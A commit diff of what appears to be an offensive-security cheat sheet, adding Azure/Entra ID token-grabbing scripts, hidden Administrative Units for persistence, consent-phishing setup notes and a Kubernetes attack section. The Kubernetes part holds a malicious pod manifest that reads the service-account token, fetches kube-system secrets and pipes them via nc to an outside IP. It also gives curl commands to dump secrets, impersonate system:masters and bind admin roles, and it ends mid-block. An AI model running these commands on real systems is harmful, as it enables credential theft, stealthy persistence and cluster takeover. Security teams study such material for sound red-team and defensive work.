Compare commits
5 Commits
07c7cc384c
...
dc56ab9cf9
Author | SHA1 | Date |
---|---|---|
DoI | dc56ab9cf9 | |
Swissky | d07e3a2727 | |
Swissky | 302d0a37f7 | |
Swissky | dbb30ac5cf | |
DoI | cc02896bd8 |
|
@ -54,12 +54,27 @@ MDNS works by using multicast addresses to send DNS queries and responses. When
|
|||
mdns-scan
|
||||
```
|
||||
|
||||
|
||||
## ARP
|
||||
|
||||
ARP (Address Resolution Protocol) is a networking protocol used to map IP addresses to MAC (Media Access Control) addresses on a local area network (LAN).
|
||||
|
||||
* ARP scan
|
||||
* ARP neighbors
|
||||
```ps1
|
||||
:~$ ip neigh
|
||||
192.168.122.1 dev enp1s0 lladdr 52:54:00:ff:0a:2c STALE
|
||||
192.168.122.98 dev enp1s0 lladdr 52:54:00:ff:aa:bb STALE
|
||||
```
|
||||
|
||||
* ARP scan with `nmap` - note, needs root privileges. Check what packets nmap is sending with `--packet-trace`
|
||||
```ps1
|
||||
:~# nmap -sn -n 192.168.122.0/24
|
||||
Starting Nmap 7.93 ( https://nmap.org )
|
||||
Nmap scan report for 192.168.122.1
|
||||
Host is up (0.00032s latency).
|
||||
MAC Address: 52:54:00:FF:0A:2C (QEMU virtual NIC)
|
||||
```
|
||||
|
||||
* ARP scan with `arp-scan`
|
||||
```ps1
|
||||
root@kali:~# arp-scan -l
|
||||
Interface: eth0, datalink type: EN10MB (Ethernet)
|
||||
|
|
|
@ -82,40 +82,49 @@ Whoami equivalent: `Get-MgContext`
|
|||
|
||||
* Login with credentials
|
||||
```ps1
|
||||
# TODO
|
||||
```
|
||||
* Login with device code flow
|
||||
```ps1
|
||||
# paste this in a PowerShell console
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"!
|
||||
"resource" = "https://graph.microsoft.com"
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers=@{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
|
||||
# then browse to https://microsoft.com/devicelogin and use the device_code
|
||||
# finally execute this command to ask for tokens
|
||||
$body=@{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
#### Device Code
|
||||
|
||||
Request a device code
|
||||
|
||||
```ps1
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"resource" = "https://graph.microsoft.com"
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers=@{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
```
|
||||
|
||||
Go to device login [microsoft.com/devicelogin](https://login.microsoftonline.com/common/oauth2/deviceauth) and input the device code. Then ask for an access token.
|
||||
|
||||
```ps1
|
||||
$body=@{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
|
||||
|
||||
#### Service Principal
|
||||
|
||||
* Request an access token using a **service principal password**
|
||||
```ps1
|
||||
|
@ -127,6 +136,31 @@ Whoami equivalent: `Get-MgContext`
|
|||
--data-urlencode 'grant_type=client_credentials'
|
||||
```
|
||||
|
||||
#### App Secret
|
||||
|
||||
An App Secret (also called a client secret) is a string used for securing communication between an application and Azure Active Directory (Azure AD). It is a credential that the application uses along with its client ID to authenticate itself when accessing Azure resources, such as APIs or other services, on behalf of a user or a system.
|
||||
|
||||
```ps1
|
||||
$appid = '<app-id>'
|
||||
$tenantid = '<tenant-id>'
|
||||
$secret = '<app-secret>'
|
||||
|
||||
$body = @{
|
||||
Grant_Type = "client_credentials"
|
||||
Scope = "https://graph.microsoft.com/.default"
|
||||
Client_Id = $appid
|
||||
Client_Secret = $secret
|
||||
}
|
||||
|
||||
$connection = Invoke-RestMethod `
|
||||
-Uri https://login.microsoftonline.com/$tenantid/oauth2/v2.0/token `
|
||||
-Method POST `
|
||||
-Body $body
|
||||
|
||||
Connect-MgGraph -AccessToken $connection.access_token
|
||||
```
|
||||
|
||||
|
||||
### Internal HTTP API
|
||||
|
||||
> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**.
|
||||
|
@ -379,4 +413,5 @@ Use the user account to create a computer and request a PRT
|
|||
* [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
* [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/)
|
||||
* [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/)
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
* [Understanding Tokens in Entra ID: A Comprehensive Guide - Lina Lau - September 18, 2024](https://www.xintra.org/blog/tokens-in-entra-id-guide)
|
|
@ -6,6 +6,7 @@
|
|||
* Devices
|
||||
* Service Principals (Application and Managed Identities)
|
||||
|
||||
|
||||
## Users
|
||||
|
||||
* List users: `Get-AzureADUser -All $true`
|
||||
|
@ -53,16 +54,83 @@ Rule description: Any Guest user whose secondary email contains the string 'vend
|
|||
|
||||
### Administrative Unit
|
||||
|
||||
Administrative Unit can reset password of another user
|
||||
Enumerate Administrative Units.
|
||||
|
||||
```powershell
|
||||
```ps1
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnit -All $true
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
|
||||
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
|
||||
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
|
||||
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
|
||||
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
|
||||
```
|
||||
|
||||
Administrative Unit can be used as a persistence mechanism. When the `visibility` attribute is set to `HiddenMembership`, only members of the administrative unit can list other members of the administrative unit.
|
||||
|
||||
```ps1
|
||||
az rest \
|
||||
--method post \
|
||||
--url https://graph.microsoft.com/v1.0/directory/administrativeUnits \
|
||||
--body '{"displayName": "Hidden AU Administrative Unit", "isMemberManagementRestricted":false, "visibility": "HiddenMembership"}'
|
||||
```
|
||||
|
||||
|
||||
* Create a new Administrative Unit using the `New-MgDirectoryAdministrativeUnit` cmdlet.
|
||||
```ps1
|
||||
Connect-MgGraph -Scopes "AdministrativeUnit.ReadWrite.All"
|
||||
Import-Module Microsoft.Graph.Identity.DirectoryManagement
|
||||
|
||||
$params = @{
|
||||
displayName = "Marketing Department"
|
||||
description = "Marketing Department Administration"
|
||||
visibility = "HiddenMembership"
|
||||
}
|
||||
|
||||
New-MgDirectoryAdministrativeUnit -BodyParameter $params
|
||||
```
|
||||
|
||||
* Add a member with `New-MgDirectoryAdministrativeUnitMemberByRef`
|
||||
```ps1
|
||||
Connect-MgGraph -Scopes "AdministrativeUnit.ReadWrite.All"
|
||||
Import-Module Microsoft.Graph.Identity.DirectoryManagement
|
||||
|
||||
$administrativeUnitId = "0b22c83d-c5ac-43f2-bb6e-88af3016d49f"
|
||||
$paramsUser1 = @{
|
||||
"@odata.id" = "https://graph.microsoft.com/v1.0/users/52e26d18-d251-414f-af14-a4a93123b2b2"
|
||||
}
|
||||
New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $administrativeUnitId -BodyParameter $paramsUser1
|
||||
```
|
||||
|
||||
* List members even when the administrative unit is hidden.
|
||||
```ps1
|
||||
Connect-MgGraph -Scopes "AdministrativeUnit.Read.All", "Member.Read.Hidden", "Directory.Read.All"
|
||||
Import-Module Microsoft.Graph.Identity.DirectoryManagement
|
||||
|
||||
$administrativeUnitId = "0b22c83d-c5ac-43f2-bb6e-88af3016d49f"
|
||||
Get-MgDirectoryAdministrativeUnitMemberAsUser -AdministrativeUnitId $administrativeUnitId
|
||||
```
|
||||
|
||||
* Assign the `User Administrator` role, its ID is `947ccf23-ee27-4951-8110-96c62c680311` in this tenant.
|
||||
```ps1
|
||||
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
|
||||
Import-Module Microsoft.Graph.Identity.DirectoryManagement
|
||||
|
||||
$administrativeUnitId = "0b22c83d-c5ac-43f2-bb6e-88af3016d49f"
|
||||
$userAdministratorRoleId = "947ccf23-ee27-4951-8110-96c62c680311"
|
||||
$params = @{
|
||||
roleId = $userAdministratorRoleId
|
||||
roleMemberInfo = @{
|
||||
id = "61b0d52f-a902-4769-9a09-c6528336b00a"
|
||||
}
|
||||
}
|
||||
|
||||
New-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId $administrativeUnitId -BodyParameter $params
|
||||
```
|
||||
* Now the user with the id `61b0d52f-a902-4769-9a09-c6528336b00a` can edit the property of the other users in the Administrative Units.
|
||||
|
||||
Administrative Units can reset password of another user.
|
||||
|
||||
```powershell
|
||||
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
|
||||
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose
|
||||
```
|
||||
|
@ -177,4 +245,6 @@ roadtx findscope -s https://graph.microsoft.com/mail.read
|
|||
* [AZURE AD cheatsheet - BlackWasp](https://hideandsec.sh/books/cheatsheets-82c/page/azure-ad)
|
||||
* [Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56)
|
||||
* [AZURE AD INTRODUCTION FOR RED TEAMERS - Aymeric Palhière (bak) - 2020-04-20](https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html)
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
* [Hidden in Plain Sight: Abusing Entra ID Administrative Units for Sticky Persistence - Katie Knowles - September 16, 2024](https://securitylabs.datadoghq.com/articles/abusing-entra-id-administrative-units/)
|
||||
* [Create Sticky Backdoor User Through Restricted Management AU - Datadog, Inc](https://stratus-red-team.cloud/attack-techniques/entra-id/entra-id.persistence.restricted-au/)
|
|
@ -4,6 +4,9 @@
|
|||
|
||||
> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to.
|
||||
|
||||
:warning: All Office 365 users will be protected from app-based attacks now that publisher verification is generally available as they "will no longer be able to consent to new multi-tenant apps registered after November 8th, 2020 coming from unverified publishers".
|
||||
|
||||
|
||||
Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole`
|
||||
|
||||
* **Disable user consent** : Users cannot grant permissions to applications.
|
||||
|
@ -30,6 +33,7 @@ Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMS
|
|||
6. Search and select the below mentioned permissions and click on Add permission
|
||||
* Contacts.Read
|
||||
* Mail.Read / Mail.ReadWrite
|
||||
* Mail.ReadBasic
|
||||
* Mail.Send
|
||||
* Notes.Read.All
|
||||
* Mailboxsettings.ReadWrite
|
||||
|
@ -37,6 +41,7 @@ Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMS
|
|||
* User.ReadBasic.All
|
||||
* User.Read
|
||||
|
||||
|
||||
### Setup 365-Stealer (Deprecated)
|
||||
|
||||
:warning: Default port for 365-Stealer phishing is 443
|
||||
|
@ -66,6 +71,7 @@ Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMS
|
|||
- `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token
|
||||
- Find the Phishing URL: go to `https://<IP/Domain>:<Port>` and click on **Read More** button or in the console.
|
||||
|
||||
|
||||
### Vajra
|
||||
|
||||
> Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - https://github.com/TROUBLE-1/Vajra
|
||||
|
@ -74,7 +80,7 @@ Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMS
|
|||
|
||||
### Roadtx
|
||||
|
||||
* Use the authorization code flow in roadtx to get token
|
||||
* Use the authorization code flow in `roadtx` to get token
|
||||
```ps1
|
||||
roadtx codeauth -c <app-id> -r msgraph -t <tenant-id> <0.A....> -ru 'https://<phish-app>/redir' -p <app-secret>
|
||||
```
|
||||
|
|
|
@ -3,10 +3,12 @@
|
|||
## Pentest Requirements
|
||||
|
||||
Users and roles:
|
||||
|
||||
* **Global Reader** and **Security Reader** roles in Azure AD
|
||||
* **Reader** permission over the subscription
|
||||
|
||||
Subscriptions:
|
||||
|
||||
* [Azure Dev/Test](https://azure.microsoft.com/en-us/pricing/offers/dev-test) subscription.
|
||||
* Visual Studio subscription determines the monthly Azure credits you receive
|
||||
* Visual Studio Enterprise: $150/month
|
||||
|
|
|
@ -28,9 +28,12 @@ Microsoft Intune is a cloud-based service that provides mobile device management
|
|||
**Requirements**:
|
||||
|
||||
* App with permission: `DeviceManagementConfiguration.Read.All`
|
||||
* `Microsoft.Graph.Intune` dependency installed: `Install-Module Microsoft.Graph.Intune`
|
||||
|
||||
**Extract Intune scripts**:
|
||||
|
||||
The following scripts are deprecated, use `MgGraph` instead of `MsGraph`, and change the appropriate function `InvokeMgGraph` too.
|
||||
|
||||
* [okieselbach/Get-DeviceManagementScripts.ps1](https://raw.githubusercontent.com/okieselbach/Intune/master/Get-DeviceManagementScripts.ps1) - Get all or individual Intune PowerShell scripts and save them in specified folder.
|
||||
```ps1
|
||||
Get-DeviceManagementScripts -FolderPath C:\temp -FileName myScript.ps1
|
||||
|
|
|
@ -1,10 +1,21 @@
|
|||
# Kubernetes
|
||||
|
||||
> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications
|
||||
> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Container Environment](#container-environment)
|
||||
- [Information Gathering](#information-gathering)
|
||||
- [RBAC Configuration](#rbac-configuration)
|
||||
- [Listing Secrets](#listing-secrets)
|
||||
- [Access Any Resource or Verb](#access-any-resource-or-verb)
|
||||
- [Pod Creation](#pod-creation)
|
||||
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
|
||||
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
|
||||
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
|
||||
- [Privileged Service Account Token](#privileged-service-account-token)
|
||||
- [Kubernetes Endpoints](#kubernetes-endpoints)
|
||||
- [Exploits](#exploits)
|
||||
- [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp)
|
||||
- [Obtaining Service Account Token](#obtaining-service-account-token)
|
||||
|
@ -23,6 +34,7 @@
|
|||
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
|
||||
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
|
||||
```
|
||||
|
||||
* [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication
|
||||
* [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph
|
||||
```ps1
|
||||
|
@ -40,6 +52,279 @@
|
|||
.group().by("serviceDns").by("port")
|
||||
```
|
||||
|
||||
* [Shopify/kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
|
||||
* [aquasecurity/kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
|
||||
* [aquasecurity/kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
|
||||
* [armosec/kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues
|
||||
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
|
||||
* [katacoda.com](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
|
||||
|
||||
|
||||
## Container Environment
|
||||
|
||||
Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.
|
||||
|
||||
### Service Account
|
||||
|
||||
Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:
|
||||
|
||||
```
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
```
|
||||
|
||||
If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.
|
||||
|
||||
### Environment Variables
|
||||
|
||||
The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.
|
||||
|
||||
```
|
||||
KUBERNETES_SERVICE_HOST=192.168.154.228
|
||||
KUBERNETES_SERVICE_PORT=443
|
||||
```
|
||||
|
||||
Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:
|
||||
|
||||
- A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
|
||||
- A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.
|
||||
|
||||
For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:
|
||||
|
||||
```
|
||||
REDIS_MASTER_SERVICE_HOST=10.0.0.11
|
||||
REDIS_MASTER_SERVICE_PORT=6379
|
||||
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
|
||||
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
|
||||
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
|
||||
REDIS_MASTER_PORT_6379_TCP_PORT=6379
|
||||
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
|
||||
```
|
||||
|
||||
### Simulating `kubectl` API Requests
|
||||
|
||||
Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` _locally_ to determine the correct API request to send from the container.
|
||||
|
||||
1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
|
||||
1. The output will include HTTP API endpoint URL, the request body, and an example curl command.
|
||||
1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
|
||||
1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
|
||||
1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).
|
||||
|
||||
For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request:
|
||||
|
||||
```powershell
|
||||
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
|
||||
$ kubectl -v9 auth can-i --list
|
||||
I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config
|
||||
I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
|
||||
I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
|
||||
I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
|
||||
I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers:
|
||||
...
|
||||
```
|
||||
|
||||
## Information Gathering
|
||||
|
||||
### Service Account Permissions
|
||||
|
||||
The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.
|
||||
The following can be used to determine the service account's permissions:
|
||||
|
||||
```powershell
|
||||
# Namespace-level permissions using kubectl
|
||||
kubectl auth can-i --list
|
||||
|
||||
# Cluster-level permissions using kubectl
|
||||
kubectl auth can-i --list --namespace=kube-system
|
||||
|
||||
# Permissions list using curl
|
||||
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
|
||||
# For cluster-level, use NAMESPACE="kube-system" instead
|
||||
|
||||
MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
|
||||
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
||||
--cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
|
||||
--header "Authorization: Bearer ${TOKEN}" \
|
||||
--header "Content-Type: application/json" \
|
||||
--data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
|
||||
```
|
||||
|
||||
### Secrets, ConfigMaps, and Volumes
|
||||
|
||||
Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.
|
||||
|
||||
From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.
|
||||
|
||||
True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.
|
||||
|
||||
### Privileged Containers
|
||||
|
||||
Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).
|
||||
|
||||
While there is no official way to check for privileged mode from _within_ a container, checking if `/dev/kmsg` exists will usually suffice.
|
||||
|
||||
## RBAC Configuration
|
||||
|
||||
### Listing Secrets
|
||||
|
||||
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
|
||||
|
||||
```powershell
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
### Access Any Resource or Verb
|
||||
|
||||
```powershell
|
||||
resources:
|
||||
- '*'
|
||||
verbs:
|
||||
- '*'
|
||||
```
|
||||
|
||||
### Pod Creation
|
||||
|
||||
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
|
||||
Then create a malicious pod.yaml file.
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args:
|
||||
[
|
||||
"-c",
|
||||
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
|
||||
]
|
||||
serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
|
||||
Then `kubectl apply -f malicious-pod.yaml`
|
||||
|
||||
### Privilege to Use Pods/Exec
|
||||
|
||||
```powershell
|
||||
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
|
||||
```
|
||||
|
||||
### Privilege to Get/Patch Rolebindings
|
||||
|
||||
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
|
||||
Create a malicious RoleBinging.json file.
|
||||
|
||||
```powershell
|
||||
{
|
||||
"apiVersion": "rbac.authorization.k8s.io/v1",
|
||||
"kind": "RoleBinding",
|
||||
"metadata": {
|
||||
"name": "malicious-rolebinding",
|
||||
"namespaces": "default"
|
||||
},
|
||||
"roleRef": {
|
||||
"apiGroup": "*",
|
||||
"kind": "ClusterRole",
|
||||
"name": "admin"
|
||||
},
|
||||
"subjects": [
|
||||
{
|
||||
"kind": "ServiceAccount",
|
||||
"name": "sa-comp"
|
||||
"namespace": "default"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```powershell
|
||||
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
|
||||
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
|
||||
```
|
||||
|
||||
### Impersonating a Privileged Account
|
||||
|
||||
```powershell
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
## Privileged Service Account Token
|
||||
|
||||
```powershell
|
||||
$ cat /run/secrets/kubernetes.io/serviceaccount/token
|
||||
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
||||
```
|
||||
|
||||
## Kubernetes Endpoints
|
||||
|
||||
```powershell
|
||||
# List Pods
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
|
||||
|
||||
# List secrets
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
|
||||
|
||||
# List deployments
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
|
||||
|
||||
# List daemonsets
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
```
|
||||
|
||||
### cAdvisor
|
||||
|
||||
```powershell
|
||||
